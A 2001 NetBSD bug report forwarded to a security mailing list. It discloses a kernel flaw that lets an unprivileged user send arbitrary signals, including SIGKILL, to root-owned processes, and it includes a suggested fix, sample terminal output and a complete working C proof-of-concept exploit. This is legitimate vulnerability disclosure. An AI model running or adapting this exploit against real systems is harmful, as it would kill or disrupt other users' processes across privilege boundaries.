Subject: security/14444: Proof of concept
To: None <netbsd-bugs@netbsd.org>
From: Dave Sainty <dave@dtsp.co.nz>
List: tech-security
Date: 11/09/2001 21:19:09
This is a proof of concept for a hole that appeared to exist on the
face of it, and was the subject of security/14444 (which appeared to
not make it to the list), so repeated here for convenience.  Now with
a "how to repeat" section.

>Submitter-Id:	net
>Originator:	David Sainty
>Organization:
Dynamic Technology Services and Products Ltd (NZ)
>Confidential:	no
>Synopsis:	Possible exploit may allow delivery of signals ignoring credentials
>Severity:	serious
>Priority:	high
>Category:	security
>Class:		sw-bug
>Release:	NetBSD 1.5Y
>Environment:
System: NetBSD chartreuse.dave.dtsp.co.nz 1.5Y NetBSD 1.5Y (CHARTREUSE) #4: Sun Nov  4 01:22:46 NZDT 2001     dave@tequila.dave.dtsp.co.nz:/vol/tequila/userD/NetBSD-current/src/sys/arch/i386/compile/CHARTREUSE i386
Architecture: i386
Machine: i386
>Description:
	Follow on from previous PR "Debugged processes may not indicate exit
	to parent", code inspection suggests that it MAY be possible to
	arrange for the delivery of arbitrary signals to processes that an
	unprivileged user should not be able to send signals to.  I have not
	proved this yet, but it "looks bad" :)

	The proc->p_oppid mechanism looks rather like a security hole.  Note
	that in the patch in the previous PR and also in wait4() that p_oppid
	is going to end up receiving the exit signal for the child.  But the
	parent process is re-acquired at exit time, and the process under that
	ID may not be the original parent.

	Furthermore, the exit signal may not be just CHLD, you can set it to
	anything with __clone().  By setting up a number of traced processes,
	killing the old parent and then waiting/forcing the process count
	around, any user can deliver arbitrary signals to new processes that
	fall on the same pid as one of the old parent processes.

>Fix:
	Maintain proc->p_oppid references and lists in the same way as parent
	processes, and clean them up on parent exit.

>How-To-Repeat:
	Compile the below code and run it, preferably on a machine
	that isn't busy or performing critical tasks!

	The idea is to run it as any old non-privileged user.  You
	will see something like:

chartreuse% ./a.out
parent: 1220 assassin: 1230
parent: 1221 assassin: 1231
parent: 1222 assassin: 1232
parent: 1223 assassin: 1233
parent: 1224 assassin: 1234
parent: 1225 assassin: 1235
parent: 1226 assassin: 1236
parent: 1227 assassin: 1237
parent: 1228 assassin: 1238
parent: 1229 assassin: 1239
killing process 1220 via 1230
Fairly close, return to execute

	Now in another window as another user (preferably root, for
	effect) run processes until you have one sitting on the pid to
	be killed (1220).  Once the program says "Fairly close, return
	to execute", you won't need to run many processes.

	Note: program assumes sequential allocation of pids.  The bug
	MAY be on other systems, but this proof of concept will work
	best where the system allocates pids sequentially.

chartreuse% su
Password:
chartreuse# sleep 100&
[1] 1213
chartreuse# sleep 100&
[2] 1214
chartreuse# sleep 100&
[3] 1215
chartreuse# sleep 100&
[4] 1216
chartreuse# sleep 100&
[5] 1217
chartreuse# sleep 100&
[6] 1218
chartreuse# sleep 100&
[7] 1220
chartreuse#           

	And then in the first window, hit return.  In the root window
	you will see something like:

[7]  + killed     sleep 100
chartreuse# 

	That is, an unprivileged user just sucessfully SIGKILL'd a
	root process.  Whoops!  Obviously this program could be
	converted into a "really annoying" and dangerous program on
	multi-user systems.  In fact I guess causing programs reading
	passwords to core dump isn't out of the question, which would
	possibly turn this problem into more than just a large
	irritation.

------------------------
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sched.h>
#include <signal.h>

#define KILLERS 10

struct kent {
  pid_t parent, assassin;
};

struct kent kill_list[KILLERS];

void block()
{
  sigset_t blk;
  sigemptyset(&blk);
  sigsuspend(&blk);
}

int waitproc(void *arg)
{
  block();
  _exit(0);
}

int child(void *arg)
{
  struct kent *ptr = (struct kent*)arg;

  void *stack = (void*)malloc(0x2000) + 0x1000;
  pid_t waiter;
  
  waiter = clone(waitproc, stack, CLONE_VM | SIGKILL, arg);
  if (waiter < 0) abort();
  ptr->assassin = waiter;
  block();
  _exit(0);
}

int main()
{
  int tokill;

  for (tokill = 0; tokill < KILLERS; tokill++) {
    pid_t parent;
    
    void *stack = (void*)malloc(0x2000) + 0x1000;
    
    parent = clone(child, stack, CLONE_VM | SIGCHLD, &kill_list[tokill]);

    if (parent < 0) abort();

    kill_list[tokill].parent = parent;
  }

  sleep(1); // Lazy catchup...
  
  for (tokill = 0; tokill < KILLERS; tokill++) {
    printf("parent: %d assassin: %d\n",
           kill_list[tokill].parent,
           kill_list[tokill].assassin);
    
    if (ptrace(PT_ATTACH, kill_list[tokill].assassin, NULL, 0) < 0) {
      perror("ptrace attach");
    }
    kill(kill_list[tokill].parent, SIGUSR1);
    if (waitpid(kill_list[tokill].parent, NULL, 0) < 0) {
      perror("waitpid parent");
    }
  }
  
  for (tokill = 0; tokill < KILLERS; tokill++) {
    pid_t ptokill = kill_list[tokill].parent;
    printf("killing process %d via %d\n", ptokill,
           kill_list[tokill].assassin);

    for (;;) {
      pid_t ff = fork();
      if (ff <= 0) _exit(0);
      waitpid(ff, NULL, 0);
      if (ff < ptokill && ff + 10 > ptokill)
        break;
    }
    
    printf("Fairly close, return to execute\n");
    
    getchar();

    if (waitpid(kill_list[tokill].assassin, NULL, 0) < 0) {
      perror("waitpid assassin");
    }
    if (ptrace(PT_DETACH, kill_list[tokill].assassin, NULL, 0) < 0) {
      perror("ptrace detach");
    }
    kill(kill_list[tokill].assassin, SIGUSR1);
  }
}